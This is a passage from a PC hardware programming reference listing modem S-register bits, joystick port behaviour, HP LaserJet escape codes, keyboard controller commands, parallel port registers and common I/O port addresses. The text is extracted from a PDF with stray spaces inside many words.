7 6 5 4 3 2 1 0 S21 opt i on st at us
j ack t ype, 0=RJ 11, RJ 41, RJ 45, 1=RJ 12, RJ 13
unused
CTS st at e, 0=f ol l ows RTS, 1=f or ced on
DTR modembehavi or ( see bel ow)
DCD, 0=f or ced on, 1=f ol l ows car r i er
DSR, 0=f or ced on, 1=behaves nor mal l y
l ong space di sconnect , 0=di sabl ed, 1=enabl ed

% Bi t s
% 43 DTR ModemBehavi or Bi t s
00 i gnor e DTR
01 assume command st at e when DTR dr ops
10 assume command st at e and di sabl e aut o- answer when DTR dr ops
11 r eset when DTR dr ops


7 6 5 4 3 2 1 0 S22 opt i on st at us
speaker vol ume, 01=l ow, 10=med, 11=hi gh
speaker set t i ng ( see bel ow)
X command i n ef f ect
make/ br eak r at i o, 0=39/ 61, 1=33/ 67

% Bi t s
% 32 S22 Speaker Set t i ng
00 speaker al ways of f
Pagina 629 di 991
01 speaker on unt i l car r i er det ect ed
10 speaker al ways on
11 speaker of f dur i ng di al i ng, t hen on unt i l CD

% Bi t s
% 654 S22 X Command i n Ef f ect
100 X1 command i n ef f ect
101 X2 command i n ef f ect
110 X3 command i n ef f ect
111 X4 command i n ef f ect


7 6 5 4 3 2 1 0 S23 opt i on st at us
r emot e di g. l oop r equest , 0=deni ed, 1=ok
baud r at e ( see t abl e)
unused
par i t y ( see t abl e)
guar d t one set t i ng

% Bi t s
% 21 S23 Baud Rat e Tabl e
00 0- 300 bps
01 600 bps
10 1200 bps
11 2400 bps

% Bi t s
% 54 S23 Par i t y Set t i ng
00 even par i t y
01 par i t y bi t al ways 0
10 odd par i t y
11 par i t y bi t al ways 1

% Bi t s
% 76 S23 Guar d Tone Set t i ng
00 no guar d t ones
01 550 hz guar d t one
10 1800 hz guar d t one

S25 0- 255 DTR det ect del ay i n seconds ( 5)
S26 0- 255 RTS t o CTS del ay i n mi l l i seconds ( 1)

7 6 5 4 3 2 1 0 S27 opt i on st at us
synch/ async mode ( see t abl e)
phone l i ne, 0= publ i c, 1=l eased
unused
cl ock t ype ( see t abl e)
pr ot ocol , 0=CCI TT V. 22, 1=Bel l 212A
unused

% Bi t s
% 10 S27 Sync/ Async mode
00 asynchr onous mode
01 async/ sync mode
10 sync aut o- di al
11 sync manual di al

% Bi t s
% 45 S27 Cl ock Type
00 i nt er nal cl ock used
01 ext er nal cl ock used
10 sl aved cl ock used
: game por t : j oyst i ck
Pagina 630 di 991
^J oyst i ck / Game Por t ( 201h)

7 6 5 4 3 2 1 0 Por t at 201h used wi t h J oyst i cks
j oyst i ck a, x coor d ( 0 = t i mi ng act i ve)
j oyst i ck a, y coor d ( 0 = t i mi ng act i ve)
j oyst i ck b, x coor d ( 0 = t i mi ng act i ve)
j oyst i ck b, y coor d ( 0 = t i mi ng act i ve)
j oyst i ck a, but t on 1 ( 0=pr essed)
j oyst i ck a, but t on 2 ( 0=pr essed)
j oyst i ck b, but t on 1 ( 0=pr essed)
j oyst i ck b, but t on 2 ( 0=pr essed)

7 6 5 4 3 2 1 0 Por t at 201h used wi t h Paddl es
paddl e a coor d ( 0 = t i mi ng act i ve)
paddl e b coor d ( 0 = t i mi ng act i ve)
paddl e c coor d ( 0 = t i mi ng act i ve)
paddl e d coor d ( 0 = t i mi ng act i ve)
paddl e a, but t on ( 0=pr essed)
paddl e b, but t on ( 0=pr essed)
paddl e c, but t on ( 0=pr essed)
paddl e d, but t on ( 0=pr essed)


- accessed t hr ough por t 201h
- bi t s 3- 0 ar e r esi st i ve i nput s wi t h t he l engt h of t he pul se
det er mi ned by 0- 100K ohmr esi st i ve l oad. Use t hi s f or mul a:

% t i me = 24. 2+ ( 0. 011* r esi st ance )
or
% r esi st ance = ( t i me - 24. 2 ) / 0. 011


- a r ead shoul d be i mmedi at el y pr eceded by a wr i t e ( any dat a)
t o st ar t t i mi ng f or t he r esi st i ve val ues.
: Laser j et : HP Laser j et
^Hewl et t Packar d Laser j et Pr i nt er Cont r ol Codes

% Pr i nt er Cont r ol and Or i ent at i on
ESC E Reset pr i nt er
ESC z Sel f Test
ESC &l 0O Por t r ai t or i ent at i on
ESC &l 1O Landscape or i ent at i on
ESC ( s0P Sel ect f i xed space f ont
ESC ( s1P Sel ect pr opor t i onal f ont
ESC ( s0S Set upr i ght char act er or i ent at i on
ESC ( s1S Set I t al i c char act er or i ent at i on
ESC &l #X Sel ect ' #' number of copi es
ESC &l 0H Ej ect page
ESC &l 1H Feed paper f r omt r ay
ESC &l 2H Feed paper manual l y
ESC &l 3H Feed envel ope
ESC &l 0T Def aul t st acki ng posi t i on
ESC &l 1T Toggl est acki ng posi t i on

% 8 Bi t Symbol Set Sel ect i on
ESC ( 8U Sel ect Roman 8 symbol set
ESC ( 8K Sel ect Kana 8 symbol set
ESC ( 8M Sel ect Mat h 8 symbol set

% 7 Bi t Symbol Set Sel ect i on
ESC ( 0U Sel ect USASCI I symbol set
ESC ( 0B Sel ect Li ne Dr aw symbol set
ESC ( 0A Sel ect Mat h symbol set
Pagina 631 di 991
ESC ( 0M Sel ect Mat h 7 symbol set
ESC ( 0Q Sel ect Mat h 8a symbol set
ESC ( 1Q Sel ect Mat h 8b symbol set
ESC ( 1U Sel ect US Legal symbol set
ESC ( 0E Sel ect Roman Ext ensi on symbol set
ESC ( 0D Sel ect I SO Denmar k/ Nor way symbol set
ESC ( 1E Sel ect I SO Uni t ed Ki ngdomsymbol set
ESC ( 0F Sel ect I SO Fr ance symbol set
ESC ( 0G Sel ect I SO Ger man symbol set
ESC ( 0I Sel ect I SO I t al y symbol set
ESC ( 0S Sel ect I SO Sweden/ Fi nl and symbol set
ESC ( 1S Sel ect I SO Spai n symbol set
ESC ( 15U Sel ect Pi Font symbol set
ESC ( 2Q Sel ect Pi Font a symbol set

% Font Management
ESC ( s3T Sel ect Cour i er f ont
ESC ( s0T Sel ect Li ne Pr i nt er f ont
ESC ( s1T Sel ect Pi ca f ont
ESC ( s2T Sel ect El i t e f ont
ESC ( s4T Sel ect Hel vet i ca f ont
ESC ( s5T Sel ect Ti mes Roman ( TMS RMN) f ont
ESC ( s6T Sel ect Got hi c f ont
ESC ( s7T Sel ect Scr i pt f ont
ESC ( s8T Sel ect Pr est i ge f ont
ESC *c#D Speci f y f ont I D ' #'
ESC *c#E Speci f y char act er code ' #'
ESC *c0F Del et e al l f ont s, i ncl udi ng per manent
ESC *c1F Del et e al l t empor ar y f ont s
ESC *c2F Del et e l ast f ont I D speci f i ed
ESC *c3F Del et e l ast char act er code and f ont I D speci f i ed
ESC *c4F Make l ast f ont I D t empor ar y
ESC *c5F Make l ast f ont I D per manent
ESC *c6F Copy or assi gn l ast f ont I D speci f i ed
ESC *c7F Reest abl i sh ROM
ESC *c8F Set pr i mar y f ont
ESC *c9F Set secondar y f ont
ESC *c10F Set pr i mar y and secondar y f ont def aul t
ESC ) s#W<dat a> Cr eat e f ont header
ESC ( s#W<dat a> Downl oad char act er
ESC ( #X <dat a> Desi gnat e downl oaded f ont as pr i mar y
ESC ) #X <dat a> Desi gnat e downl oaded f ont as secondar y
ESC ( #@ Pr i mar y f ont def aul t ( see pr i nt er manual )
ESC ) #@ Secondar y f ont def aul t ( see pr i nt er manual )

% Pi t ch and Poi nt Sel ect i on
ESC ( s10H Set 10 pi t ch
ESC ( s12H Set 12 pi t ch
ESC ( s16. 6H Set 16. 66 pi t ch

ESC ( s7V Set poi nt si ze t o 7
ESC ( s8V Set poi nt si ze t o 8
ESC ( s8. 5V Set poi nt si ze t o 8. 5
ESC ( s10V Set poi nt si ze t o 10
ESC ( s12V Set poi nt si ze t o 12
ESC ( s14. 4V Set poi nt si ze t o 14. 4

% Page Di mensi ons
ESC &l #P Set page l engt h t o ' #' l i nes
ESC &l #E Set t op mar gi n t o ' #' l i nes
ESC &l #F Set t ext l engt h t o ' #' l i nes
ESC 9 Cl ear mar gi ns
ESC &a#L Set l ef t mar gi n t o col umn ' #'
Pagina 632 di 991
ESC &a#M Set r i ght mar gi n t o col umn ' #'
ESC &l #C Set ver t i cal mot i on i ndex t o ' #' 1/ 48" i ncr ement s
ESC &l #D Set l i nes per i nch t o ' #' , val i d val ues ar e:
1, 2, 3, 4, 6, 8, 12, 16 or 24
ESC &k#H Set hor i zont al mot i on i ndex wher e # i s der i ved
usi ng # = ( 120. 0 / cpi ) ( 1/ 10 pr eci si on)

% Cur sor Posi t i oni ng
ESC &a#R Move t o r ow ' #'
ESC &a#C Move t o col ' #'
ESC &a#H Move t o hor i zont al posi t i on ' #' i n deci poi nt s
ESC &a#V Move t o ver t i cal posi t i on ' #' i n deci poi nt s
ESC *p#X Move t o hor i zont al posi t i on ' #' i n dot s
ESC *p#Y Move t o ver t i cal posi t i on ' #' i n dot s
ESC &f 0S Push cur sor posi t i on
ESC &f 1 Pop cur sor posi t i on

% Rast er Gr aphi cs
ESC *t 75R Sel ect 75 dot s per i nch gr aphi cs mode
ESC *t 100R Sel ect 100 dot s per i nch gr aphi cs mode
ESC *t 150R Sel ect 150 dot s per i nch gr aphi cs mode
ESC *t 300R Sel ect 300 dot s per i nch gr aphi cs mode
ESC *r 0A St ar t gr aphi cs at l ef t most posi t i on
ESC *r 1A St ar t gr aphi cs at cur r ent cur sor
ESC *b#W<dat a> Tr ansf er ' #' byt e r ast er i mage as st r eam" <dat a>"
ESC *r B End gr aphi cs

% Advanced Gr aphi cs
ESC *c#A Set hor i zont al r ul e/ pat t er n si ze i n dot s
ESC *c#H Set hor i zont al r ul e/ pat t er n si ze i n deci poi nt s
ESC *c#B Set ver t i cal r ul e/ pat t er n si ze i n dot s
ESC *c#V Set ver t i cal r ul e/ pat t er n si ze i n deci poi nt s
ESC *c0P Sel ect bl ack r ul e
ESC *c2P Sel ect gr ay scal e pat t er n
ESC *c3P Sel ect HP- Def i ned pat t er n
ESC *c#G Set gr ey scal e pat t er n, wher e # i s a val ue bet ween
[ 0. . 6] f or HP def i ned pat t er ns and [ 0. . 100] t o
speci f y per cent age gr ay scal i ng. The mode depends
on t he r ul e/ pat t er n sel ect ed usi ng ESC *c?P
ESC *c1G Ver t i cal l i nes pat t er n
ESC *c2G Hor i zont al l i nes pat t er n
ESC *c3G Di agonal l i nes pat t er n ( upwar d l ef t t o r i ght )
ESC *c4G Di agonal l i nes pat t er n ( downwar d l ef t t o r i ght )
ESC *c5G Hor i zont al / ver t i cal gr i d l i nes pat t er n
ESC *c6G Di agonal gr i d pat t er n
ESC *c#G Set gr ay scal i ng t o ' #' per cent

% Macr o commands
ESC &f #Y I dent i f y macr o as I D " #'
ESC &f 0X St ar t macr o def i ni t i on
ESC &f 1X St op macr o def i ni t i on
ESC &f 2X Execut e macr o
ESC &f 3X Cal l macr o
ESC &f 4X Enabl e aut o macr o over l ay
ESC &f 5X Di sabl e aut o macr o over l ay
ESC &f 6X Del et e al l macr os
ESC &f 7X Del et e al l t empor ar y macr os
ESC &f 8X Del et e macr o I D
ESC &f 9X Make macr o t empor ar y
ESC &f 10X Make macr o per manent

% Mi scel l aneous
ESC ( s#B Set st r oke wei ght ' #' =( 7. . - 7) , 7=bol d, - 7=l i ght
Pagina 633 di 991
ESC &dD Set under l i ne on
ESC &d@ Set under l i ne of f
ESC = Hal f l i ne f eed
ESC Y Tur n di spl ay f unct i ons mode on
ESC Z Tur n di spl ay f unct i ons mode of f ( def aul t )
ESC &p#X <dat a> Di sabl e command i nt er pr et at i on f or t he ' #' byt es
f ol l owi ng t hi s command
ESC &l 0L Di sabl e per f or at i on ski p
ESC &l 1L Enabl e per f or at i on ski p
ESC &k0G Set l i ne t er mi nat or s t o CR=CR, LF=LF, FF=FF
ESC &k1G Set l i ne t er mi nat or s t o CR=CR+LF, LF=LF, FF=FF
ESC &k2G Set l i ne t er mi nat or s t o CR=CR, LF=CR+LF, FF=CR+FF
ESC &k3G Set l i ne t er mi nat or s t o CR=CR+LF, LF=CR+LF, FF=CR+FF
ESC &s0C Enabl e end of l i ne wr ap
ESC &s1C Di sabl e end of l i ne wr ap


% Escape sequence combi nat i on r ul es:

1. The f i r st 2 char act er s f ol l owi ng t he ESC must be t he same.
2. The f i nal char act er i n any sequence ot her t han t he l ast must be
changed t o l ower case.
3. The l ast char act er i n t he compl et e sequence must be changed t o
upper case.
4. Escape sequences must be speci f i ed i n t he or der i n whi ch t hey
shoul d be per f or med.


- t he space f ol l owi ng ESC i s not i ncl uded i n t he st r i ng
: keyboar d commands
^Keyboar d Commands & Responses

^Commands Syst emI ssues t o Keyboar d ( vi a 8042 por t 60h)

ED Set / Reset Mode I ndi cat or s, keyboar d r esponds wi t h ACK t hen
wai t s f or a f ol l owi ng opt i on byt e. When t he opt i on byt e i s
r ecei ved t he keyboar d agai n ACK' s and t hen set s t he LED' s
accor di ngl y. Scanni ng i s r esumed i f scanni ng was enabl ed.
I f anot her command i s r ecei ved i nst ead of t he opt i on byt e
( hi gh bi t set on) t hi s command i s t er mi nat ed. Har dwar e
def aul t s t o t hese i ndi cat or s t ur ned of f .

7- 3 2 1 0 Keyboar d St at us I ndi cat or Opt i on Byt e
Scr ol l - Lock i ndi cat or ( 0=of f , 1=on)
Num- Lock i ndi cat or ( 0=of f , 1=on)
Caps- Lock i ndi cat or ( 0=of f , 1=on)
r eser ved ( must be zer o)

EE Di agnost i c Echo, keyboar d echoes t he EE byt e back t o t he syst em
wi t hout an acknowl edgement .
F0 PS/ 2 Sel ect / Read Al t er nat e Scan Code Set s, i nst r uct s keyboar d
t o use one of t he t hr ee make/ br eak scan code set s. Keyboar d
r esponds by cl ear i ng t he out put buf f er / t ypemat i c key and t hen
t r ansmi t s an ACK. The syst emmust f ol l ow up by sendi ng an
opt i on byt e whi ch wi l l agai n be ACK' ed by t he keyboar d:

00 r et ur n byt e i ndi cat i ng scan code set i n use
01 sel ect scan code set 1 ( used on PC & XT)
02 sel ect scan code set 2
03 sel ect scan code set 3

F2 PS/ 2 Read Keyboar d I D, keyboar d r esponds wi t h an ACK and a t wo
byt e keyboar d I D of 83AB.
Pagina 634 di 991
F3 Set Typemat i c Rat e/ Del ay, keyboar d r esponds wi t h ACK and wai t s
f or r at e/ del ay byt e. Upon r ecei pt of t he r at e/ del ay byt e t he
keyboar d r esponds wi t h an ACK, t hen set s t he new t ypemat i c
val ues and scanni ng cont i nues i f scanni ng was enabl ed.

7 6 5 4 3 2 1 0 Typemat i c Rat e/ Del ay Opt i on Byt e
t ypemat i c r at e i ndi cat or ( see ~I NT 16, 3~)
A i n per i od f or mul a ( see bel ow)
B i s per i od f or mul a ( see bel ow)
t ypemat i c del ay
al ways zer o

del ay = ( r at e+1) * 250 ( i n mi l l i seconds)
r at e = ( 8+A) * ( 2**B) * 4. 17 ( i n seconds, 20%)

Def aul t s t o 10. 9 char act er s per second and a 500ms del ay. I f a
command byt e ( byt e wi t h hi gh bi t set ) i s r ecei ved i nst ead of an
opt i on byt e t hi s command i s cancel l ed.
F4 Enabl e Keyboar d, cause t he keyboar d t o cl ear i t s out put buf f er
and l ast t ypemat i c key and t hen r espond wi t h an ACK. The
keyboar d t hen begi ns scanni ng.
F5 Def aul t w/ Di sabl e, r eset s keyboar d t o power - on condi t i on by
cl ear i ng t he out put buf f er , r eset t i ng t ypemat i c r at e/ del ay,
r eset t i ng l ast t ypemat i c key and set t i ng def aul t key t ypes.
The keyboar d r esponds wi t h an ACK and wai t s f or t he next
i nst r uct i on.
F6 Set Def aul t , r eset s t o power - on condi t i on by cl ear i ng t he out put
buf f er , r eset t i ng t ypemat i c r at e/ del ay and l ast t ypemat i c key
and set s def aul t key t ypes. The keyboar d r esponds wi t h an ACK
and cont i nues scanni ng.
F7 PS/ 2 Set Al l Keys t o Typemat i c, keyboar d r esponds by sendi ng an
ACK, cl ear i ng i t s out put buf f er and set t i ng t he key t ype t o
Typemat i c. Scanni ng cont i nues i f scanni ng was enabl ed. Thi s
command may be sent whi l e usi ng any Scan Code Set but onl y has
ef f ect when Scan Code Set 3 i s i n use.
F8 PS/ 2 Set Al l Keys t o Make/ Br eak, keyboar d r esponds by sendi ng an
ACK, cl ear i ng i t s out put buf f er and set t i ng t he key t ype t o
Make/ Br eak. Scanni ng cont i nues i f scanni ng was enabl ed. Thi s
command may be sent whi l e usi ng any Scan Code Set but onl y has
ef f ect when Scan Code Set 3 i s i n use.
F9 PS/ 2 Set Al l Keys t o Make, keyboar d r esponds by sendi ng an ACK,
cl ear i ng i t s out put buf f er and set t i ng t he key t ype t o Make.
Scanni ng cont i nues i f scanni ng was enabl ed. Thi s command may
be sent whi l e usi ng any Scan Code Set but onl y has ef f ect when
Scan Code Set 3 i s i n use.
FA PS/ 2 Set Al l Keys t o Typemat i c Make/ Br eak, keyboar d r esponds by
sendi ng an ACK, cl ear i ng i t s out put buf f er and set t i ng t he key
t ype t o Typemat i c Make/ Br eak. Scanni ng cont i nues i f scanni ng
was enabl ed. Thi s command may be sent whi l e usi ng any Scan Code
Set but onl y has ef f ect when Scan Code Set 3 i s i n use.
FB PS/ 2 Set Key Type t o Typemat i c, keyboar d r esponds by sendi ng an
ACK, cl ear i ng i t s out put buf f er and t hen wai t i ng f or t he key I D
( make code f r omScan Code Set 3) . The speci f i ed key t ype i s t hen
set t o t ypemat i c. Thi s command may be sent whi l e usi ng any
Scan Code Set but onl y has ef f ect when Scan Code Set 3 i s i n use.
FC PS/ 2 Set Key Type t o Make/ Br eak, keyboar d r esponds by sendi ng an
ACK, cl ear i ng i t s out put buf f er and t hen wai t i ng f or t he key I D
( make code f r omScan Code Set 3) . The speci f i ed key t ype i s t hen
set t o Make/ Br eak. Thi s command may be sent whi l e usi ng any Scan
Code Set but onl y has ef f ect when Scan Code Set 3 i s i n use.
FD PS/ 2 Set Key Type t o Make, keyboar d r esponds by sendi ng an ACK,
cl ear i ng i t s out put buf f er and t hen wai t i ng f or t he key I D ( make
code f r omScan Code Set 3) . The speci f i ed key t ype i s t hen set
Pagina 635 di 991
t o Make. Thi s command may be sent whi l e usi ng any Scan Code Set
but onl y has ef f ect when Scan Code Set 3 i s i n use.
FE Resend, shoul d be sent when a t r ansmi ssi on er r or i s det ect ed
f r omt he keyboar d
FF Reset , Keyboar d sends ACK and wai t s f or syst emt o r ecei ve i t
t hen begi ns a pr ogr amr eset and Basi c Assur ance Test ( BAT) .
Keyboar d r et ur ns a one byt e compl et i on code t hen set s def aul t
Scan Code Set 2.


^Keyboar d Responses t o Syst em( vi a 8042 por t 60h)

00 Key Det ect i on Er r or or Over r un Er r or f or Scan Code Set 1,
r epl aces l ast key i n t he keyboar d buf f er i f t he buf f er i s f ul l .
AA BAT Compl et i on Code, keyboar d sends t hi s t o i ndi cat e t he keyboar d
t est was successf ul .
EE Echo Response, r esponse t o t he Echo command.
F0 Br eak Code Pr ef i x i n Scan Code Set s 2 and 3.
FA Acknowl edge, keyboar d sends t hi s whenever a val i d command or
dat a byt e i s r ecei ved ( except on Echo and Resend commands) .
FC BAT Fai l ur e Code, keyboar d sends t hi s t o i ndi cat e t he keyboar d
t est f ai l ed and st ops scanni ng unt i l a r esponse or r eset i s sent .
FE Resend, keyboar d r equest r esend of dat a when dat a sent t o i t i s
i nval i d or ar r i ves wi t h i nval i d par i t y.
FF Key Det ect i on Er r or or Over r un Er r or f or Scan Code Set 2 or 3,
r epl aces l ast key i n t he keyboar d buf f er i f t he buf f er i s f ul l .
i d Keyboar d I D Response, keyboar d sends a t wo byt e I D af t er ACK' i ng
t he Read I D command. The byt e st r eamcont ai ns 83AB i n LSB, MSB
or der . The keyboar d t hen r esumes scanni ng.


- command F7 t hr ough FD ar e NOP' s on t he AT and ar e ACK' ed but not
act ed upon
- see ~8042~ ~MAKE CODES~ ~BREAK CODES~ ~I NT 16, 3~
: par al l el por t : pr i nt er por t
^Par al l el Pr i nt er Por t

% Por t 3BC pr i nt er dat a out put ( r eadabl e)

7 6 5 4 3 2 1 0 por t s 278, 378, 3BC
dat a bi t 0, har dwar e pi n 2
dat a bi t 1, har dwar e pi n 3
dat a bi t 2, har dwar e pi n 4
dat a bi t 3, har dwar e pi n 5
dat a bi t 4, har dwar e pi n 6
dat a bi t 5, har dwar e pi n 7
dat a bi t 6, har dwar e pi n 8
dat a bi t 7, har dwar e pi n 9

% Por t 3BD pr i nt er st at us r egi st er ( Par al l el Pr i nt er Por t )

7 6 5 4 3 2 1 0 por t s 279, 379, 3BD
1 = t i me- out
unused
1 = er r or , pi n 15
1 = on- l i ne, pi n 13
1 = out of paper , pi n 12
0 = Acknowl edge, pi n 10
0 = busy, pi n 11

% Por t 3BE pr i nt er cont r ol r egi st er ( Par al l el Pr i nt er Por t )

7 6 5 4 3 2 1 0 por t s 27A, 37A, 3BE
Pagina 636 di 991
1 = out put dat a t o pr i nt er , ( pi n 1)
1 = aut o l i ne f eed, ( pi n 14)
0 = i ni t i al i ze pr i nt er , ( pi n 16)
1 = pr i nt er r eads out put , ( pi n 17)
0 = I RQ di sabl e, 1=I RQ enabl e f or ACK
unused

: por t s: por t addr esses: har dwar e por t s
^PORTS Common I / O Por t Addr esses

Por t addr esses ar e not al ways const ant acr oss PC, AT and PS/ 2
Unl ess mar ked, por t addr esses ar e r el at i ve t o PC and XT onl y

% 000- 00F 8237 DMA cont r ol l er
000 Channel 0 addr ess r egi st er
001 Channel 0 wor d count
002 Channel 1 addr ess r egi st er
003 Channel 1 wor d count
004 Channel 2 addr ess r egi st er
005 Channel 2 wor d count
006 Channel 3 addr ess r egi st er
007 Channel 3 wor d count
008 St at us/ command r egi st er
009 Request r egi st er
00A Mask r egi st er
00B Mode r egi st er
00C Cl ear MSB/ LSB f l i p f l op
00D Mast er cl ear t emp r egi st er
00E Cl ear mask r egi st er
00F Mul t i pl e mask r egi st er

% 010- 01F 8237 DMA Cont r ol l er ( PS/ 2 model 60 & 80) , r eser ved ( AT)

% 020- 02F 8259A Mast er Pr ogr ammabl e I nt er r upt Cont r ol l er
020 8259 Command por t ( see ~8259~)
021 8259 I nt er r upt mask r egi st er ( see 8259)

% 030- 03F 8259A Sl ave Pr ogr ammabl e I nt er r upt Cont r ol l er ( AT, PS/ 2)

% 040- 05F 8253 or 8254 Pr ogr ammabl e I nt er val Ti mer ( PI T, see ~8253~)
040 8253 channel 0, count er di vi sor
041 8253 channel 1, RAM r ef r esh count er
042 8253 channel 2, Casset t e and speaker f unct i ons
043 8253 mode cont r ol ( see ~8253~)
044 8254 PS/ 2 ext ended t i mer
047 8254 Channel 3 cont r ol byt e

% 060- 067 8255 Pr ogr ammabl e Per i pher al I nt er f ace ( PC, XT, PCj r )
060 8255 Por t A keyboar d i nput / out put buf f er ( out put PCj r )
061 8255 Por t B out put
062 8255 Por t C i nput
063 8255 Command/ Mode cont r ol r egi st er

% 060- 06F 8042 Keyboar d Cont r ol l er ( AT, PS/ 2)
060 8042 Keyboar d i nput / out put buf f er r egi st er
061 8042 syst emcont r ol por t ( f or compat abi l i t y wi t h 8255)
064 8042 Keyboar d command/ st at us r egi st er

070 CMOS RAM/ RTC, al so NMI enabl e/ di sabl e ( AT, PS/ 2, see ~RTC~)
071 CMOS RAM dat a ( AT, PS/ 2)

080 Manuf act ur er syst ems checkpoi nt por t ( used dur i ng POST)
% 080- 090 DMA Page Regi st er s
Pagina 637 di 991
081 Hi gh or der 4 bi t s of DMA channel 2 addr ess
082 Hi gh or der 4 bi t s of DMA channel 3 addr ess
083 Hi gh or der 4 bi t s of DMA channel 1 addr ess

% 090- 097 POS/ Pr ogr ammabl e Opt i on Sel ect ( PS/ 2)
090 Cent r al ar bi t r at i on cont r ol Por t
091 Car d sel ect i on f eedback
092 Syst emcont r ol and st at us r egi st er
094 Syst emboar d enabl e/ set up r egi st er
095 Reser ved
096 Adapt er enabl e/ set up r egi st er
097 Reser ved

0A0 NMI Mask Regi st er ( PC, XT) ( wr i t e 80h t o enabl e NMI , 00h di sabl e)
% 0A0- 0BF Second 8259 Pr ogr ammabl e I nt er r upt Cont r ol l er ( AT, PS/ 2)
0A0 Second 8259 Command por t ( see ~8259~)
0A1 Second 8259 I nt er r upt mask r egi st er ( see 8259)

0C0 TI SN76496 Pr ogr ammabl e Tone/ Noi se Gener at or ( PCj r )
% 0C0- 0DF 8237 DMA cont r ol l er 2 ( AT)
0C2 DMA channel 3 sel ect or ( see por t s 6 & 82)

0E0- 0EF Reser ved

% 0F0- 0FF Mat h copr ocessor ( AT, PS/ 2)
% 0F0- 0F5 PCj r Di sk Cont r ol l er
0F0 Di sk Cont r ol l er
0F2 Di sk Cont r ol l er cont r ol por t
0F4 Di sk Cont r ol l er st at us r egi st er
0F5 Di sk Cont r ol l er dat a por t

% 0F8- 0FF Reser ved f or f ut ur e mi cr opr ocessor ext ensi ons

% 100- 10F POS Pr ogr ammabl e Opt i on Sel ect ( PS/ 2)
100 POS Regi st er 0, Adapt er I D byt e ( LSB)
101 POS Regi st er 1, Adapt er I D byt e ( MSB)
102 POS Regi st er 2, Opt i on sel ect dat a byt e 1
Bi t 0 i s car d enabl e ( CDEN)
103 POS Regi st er 3, Opt i on sel ect dat a byt e 2
104 POS Regi st er 4, Opt i on sel ect dat a byt e 3
105 POS Regi st er 5, Opt i on sel ect dat a byt e 4
Bi t 7 i s ( - CHCK)
Bi t 6 i s r eser ved
106 POS Regi st er 6, subaddr ess ext ensi on ( LSB)
107 POS Regi st er 7, subaddr ess ext ensi on ( MSB)

% 110- 1EF Syst emI / O channel

% 170- 17F Fi xed di sk 1 ( AT)
170 di sk 1 dat a
171 di sk 1 er r or
172 di sk 1 sect or count
173 di sk 1 sect or number
174 di sk 1 cyl i nder l ow
175 di sk 1 cyl i nder hi gh
176 di sk 1 dr i ve/ head
177 di sk 1 st at us

% 1F0- 1FF Fi xed di sk 0 ( AT)
1F0 di sk 0 dat a
1F1 di sk 0 er r or
1F2 di sk 0 sect or count
1F3 di sk 0 sect or number
Pagina 638 di 991
1F4 di sk 0 cyl i nder l ow
1F5 di sk 0 cyl i nder hi gh
1F6 di sk 0 dr i ve/ head
1F7 di sk 0 st at us

% 200- 20F Game Adapt er ( see GAME PORT or ~J OYSTI CK~)

% 210- 217 Expansi on Car d Por t s ( XT)
210 Wr i t e: l at ch expansi on bus dat a
r ead: ver i f y expansi on bus dat a
211 Wr i t e: cl ear wai t , t est l at ch
Read: MSB of dat a addr ess
212 Read: LSB of dat a addr ess
213 Wr i t e: 0=enabl e, 1=/ di sabl e expansi on uni t
214- 215 Recei ver Car d Por t s
214 wr i t e: l at ch dat a, r ead: dat a
215 r ead: MSB of addr ess, next r ead: LSB of addr ess

21F Reser ved

% 220- 26F Reser ved f or I / O channel

% 270- 27F Thi r d par al l el por t ( see ~PARALLEL PORT~)
278 dat a por t
279 st at us por t
27A cont r ol por t

% 280- 2AF Reser ved f or I / O channel

% 2A2- 2A3 MSM58321RS cl ock

% 2B0- 2DF Al t er nat e EGA, or 3270 PC vi deo ( XT, AT)

2E0 Al t er nat e EGA/ VGA
2E1 GPI B Adapt er ( AT)

% 2E2- 2E3 Dat a acqui si t i on adapt er ( AT)

% 2E8- 2EF COM4 non PS/ 2 UART ( Reser ved by I BM) ( see ~UART~)

% 2F0- 2F7 Reser ved

% 2F8- 2FF COM2 Second Asynchr onous Adapt er ( see UART)
Pr i mar y Asynchr onous Adapt er f or PCj r

% 300- 31F Pr ot ot ype Exper i ment at i on Car d ( except PCj r )
Per i scope har dwar e debugger
% 320- 32F Har d Di sk Cont r ol l er ( XT)
320 Read f r om/ Wr i t e t o cont r ol l er
321 Read: Cont r ol l er St at us, Wr i t e: cont r ol l er r eset
322 Wr i t e: gener at e cont r ol l er sel ect pul se
323 Wr i t e: Pat t er n t o DMA and i nt er r upt mask r egi st er
( see por t s 0F, 21, C2)
324 di sk at t ent i on/ st at us

% 330- 33F Reser ved f or XT/ 370

% 340- 35F Reser ved f or I / O channel

% 360- 36F PC Net wor k

% 370- 377 Fl oppy di sk cont r ol l er ( except PCj r )
372 Di sket t e di gi t al out put
Pagina 639 di 991
374 Di sket t e cont r ol l er st at us
375 Di sket t e cont r ol l er dat a
376 Di sket t e cont r ol l er dat a
377 Di sket t e di gi t al i nput

% 378- 37F Second Par al l el Pr i nt er ( see ~PARALLEL PORT~)
Fi r st Par al l el Pr i nt er ( see PARALLEL PORT)
378 dat a por t
379 st at us por t
37A cont r ol por t

% 380- 38F Secondar y Bi nar y Synchr onous Dat a Li nk Cont r ol ( SDLC) adapt er
380 On boar d 8255 por t A, i nt er nal / ext er nal sense
381 On boar d 8255 por t B, ext er nal modemi nt er f ace
382 On boar d 8255 por t C, i nt er nal cont r ol and gat i ng
383 On boar d 8255 mode r egi st er
384 On boar d 8253 channel squar e wave gener at or
385 On boar d 8253 channel 1 i nact i vi t y t i me- out
386 On boar d 8253 channel 2 i nact i vi t y t i me- out
387 On boar d 8253 mode r egi st er
388 On boar d 8273 r ead: st at us; Wr i t e: Command
389 On boar d 8273 wr i t e: par amet er ; r ead: r esponse
38A On boar d 8273 t r ansmi t i nt er r upt st at us
38B On boar d 8273 r ecei ver i nt er r upt st at us
38C On boar d 8273 dat a

% 390- 39F Cl ust er Adapt er

% 3A0- 3AF Pr i mar y Bi nar y Synchr onous Dat a Li nk Cont r ol ( SDLC) adapt er
3A0 On boar d 8255 por t A, i nt er nal / ext er nal sense
3A1 On boar d 8255 por t B, ext er nal modemi nt er f ace
3A2 On boar d 8255 por t C, i nt er nal cont r ol and gat i ng
3A3 On boar d 8255 mode r egi st er
3A4 On boar d 8253 count er 0 unused
3A5 On boar d 8253 count er 1 i nact i vi t y t i me- out s
3A6 On boar d 8253 count er 2 i nact i vi t y t i me- out s
3A7 On boar d 8253 mode r egi st er
3A8 On boar d 8251 dat a
3A9 On boar d 8251 command/ mode/ st at us r egi st er

